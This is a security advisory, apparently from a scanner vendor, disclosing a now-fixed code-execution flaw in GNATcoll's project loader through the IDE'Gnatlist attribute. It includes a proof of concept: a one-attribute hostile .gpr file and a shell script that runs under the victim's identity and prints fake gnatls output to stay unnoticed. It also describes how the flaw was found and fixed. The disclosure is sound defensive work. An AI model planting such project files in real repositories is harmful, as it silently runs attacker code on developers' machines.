PVD-20260514-B9C4: Arbitrary Code Execution via IDE'Gnatlist in the GNATcoll Project Loader

Fixed by Vendor
← All Disclosures

Summary

GNATCOLL.Projects.Load in gnatcoll-core spawns gnatls as part of loading a GNAT project file. The program it spawns was read from the IDE'Gnatlist attribute of the project file being loaded and passed to Non_Blocking_Spawn with no sanitisation, allow-listing, or trust check. A .gpr is therefore not inert data: it names a program that the loader executes.

Any tool built on GNATcoll's project API — GNAT Studio, the Ada Language Server (and so every editor with an Ada extension: VS Code, Emacs, Neovim, IntelliJ), gnatdoc, and in-house tooling — executes attacker-chosen code the moment it opens a hostile project. No build, no with/extends chain, and no scenario variable is required: Spawn_Gnatls is reached from Recompute_View, the default second phase of Load.

This is the trust-model flaw that has produced repeated code-execution bugs in direnv, VS Code workspace settings, and IntelliJ Maven auto-import: a configuration file treated as data while it actually contains specifications the loader executes. Primary weakness CWE-829 (inclusion of functionality from an untrusted control sphere), reached through an unvalidated process-launch sink (CWE-78).

Affected: gnatcoll-core-src < 26.2 (AdaCore); reproduced by us on Alire crate gnatcoll 24.0.0 and on upstream master commit 3f595a4 (2026-05-06).
Fixed: gnatcoll-core-src >= 26.2; upstream commit 35a7615f, merged to master on 2026-06-01. AdaCore reports no workaround for affected versions.

Demonstration

The hostile project needs one attribute. evil.gpr:

project Evil is
   for Source_Dirs use ();
   package IDE is
      for Gnatlist use "./pwn";
   end IDE;
end Evil;

Next to it, a pwn script that marks the filesystem and then prints a believable gnatls -v reply so the loader carries on without complaint:

#!/bin/sh
echo "RCE: $(id)" > "$(dirname "$0")/RCE_PROOF.txt"
echo "GNATLS Pro 13.2.0"
echo "Source Search Path:"
echo "Object Search Path:"
echo "Project Search Path:"

The victim application is a twenty-line program that does nothing but open the project:

with GNATCOLL.Projects; with GNATCOLL.VFS; with Ada.Command_Line;
procedure Gnatls_Poc is
   use GNATCOLL.Projects; use GNATCOLL.VFS;
   Tree : Project_Tree;
   Env  : Project_Environment_Access;
begin
   Initialize (Env);
   Tree.Load (Create (+Ada.Command_Line.Argument (1)), Env);
end Gnatls_Poc;
$ ./gnatls_poc evil.gpr
Loading evil.gpr
Loaded OK.

$ cat RCE_PROOF.txt
RCE: uid=1000(jon) gid=1000(jon) ...

The relative path ./pwn survives because Locate_On_Path wraps GNAT.OS_Lib.Locate_Exec_On_Path, which returns a name containing a directory separator unchanged — resolved against the current working directory. Absolute paths and any sub/dir/exec form behave the same way. Loading the identical .gpr in GNAT Studio or the Ada Language Server runs the script with no prompt.

How Pragmatic Found It

Pragmatic's ProcessCreation checker (CWE-78) is an inventory-class scanner: it makes no claim of a vulnerability, it simply enumerates every subprocess sink so that a human can ask the four questions that matter: where does the executable name come from, are the arguments validated, what privileges does it inherit, and who reaps it.

$ ./bin/pragmatic -i -E=ProcessCreation -e=adb,ads gnatcoll-core \
    | grep ',ProcessCreation,' | awk -F, '{print $3" line "$4}'

gnatcoll-core/projects/src/gnatcoll-projects.adb line 8423
gnatcoll-core/testsuite/core/tests/utils/executable_path/test.adb line 25

That is the whole value of an inventory checker: a hundred thousand lines of Ada reduced to a single production process-launch site worth reading. Running it against that file alone gives the finding in full:

$ ./bin/pragmatic -i -E=ProcessCreation -e=adb \
    gnatcoll-core/projects/src/gnatcoll-projects.adb

CWE,Checker,Filename,Line,Tool,Comments,Category,Confidence,Severity,Maturity,Fingerprint
78,ProcessCreation,gnatcoll-core/projects/src/gnatcoll-projects.adb,8423,
Pragmatic Scanner 1.0.0,"Process-launch site: review executable selection, argument
validation, privilege boundaries, and lifecycle handling. Prefer an absolute program
path and an argument array without shell interpolation.",inventory,high,info,
production,0fd6f2beda2918fecc567d69d3f47af7

Line 8423 is the Non_Blocking_Spawn inside Spawn_Gnatls. The finding's first question — review executable selection — is the one that pays out. The program path is not a constant:

Gnatls_Path : constant Virtual_File :=
  Locate_On_Path (+Gnatls_Args (Gnatls_Args'First).all);

Walking Gnatls_Args backwards took three hops — Spawn_GnatlsSet_Path_From_Gnatls (Argument_String_To_List (Gnatls & " -v")) ← Process_GnatlsSet_Path_From_Gnatls_Attribute, which reads the attribute straight out of the project under analysis:

Value := Value_Of
  (Get_String ("gnatlist"),
   Tree.Data.View.Shared.Packages.Table (P).Decl.Attributes, Shared);
...
declare
   Gnatls : constant String := Get_Name_String (Value.Value);
begin
   ...
   return Process_Gnatls (Gnatls);
end;

Attacker-supplied file → attribute → argv[0]exec, with nothing in between. The remaining work was confirming that Load reaches this path by default, which it does via Recompute_View, and writing the PoC above.

The checker was named Spawn at the time of discovery; it ships as ProcessCreation in Pragmatic 1.0.0, with Spawn retained as an alias.

The Fix

AdaCore did not sanitise the attribute; they removed it. Commit 35a7615f (“No longer support the IDE'gnatlist attribute”, Pascal Obry, 2026-05-29, merged to master 2026-06-01) deletes every read of IDE'Gnatlist from the project loader:

The default gnatls path (derived from the environment and the Target/Runtime attributes, and defaulting to gprls) is retained, so ordinary project loading is unaffected. AdaCore's guidance is that Target and Runtime are the supported way to select a toolchain going forward; IDE'Gnatlist was already considered obsolete.

An initial version of the change (136da68a, 2026-05-21) was reverted and reworked before landing, which is why the fix carries two commit dates.

Acknowledgements

Our thanks to AdaCore, who handled this report the way a vendor should. They acknowledged it the day after it was sent, had a fix committed upstream within two weeks and merged inside three, published a full public security advisory with a CVSS justification table and a clear statement that no workaround exists, and credited the reporter by name in it. Particular thanks to Pascal Obry, who wrote the fix, and to Thomas Serabian and Frédéric Léger, who authored and reviewed the advisory. Choosing to delete an obsolete attribute outright rather than bolt a filter onto it is the harder call and the right one.

Severity

AdaCore — CVSS 3.1 Base Score: 8.8 (High)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:P/RL:T/RC:C

References

Disclosure Timeline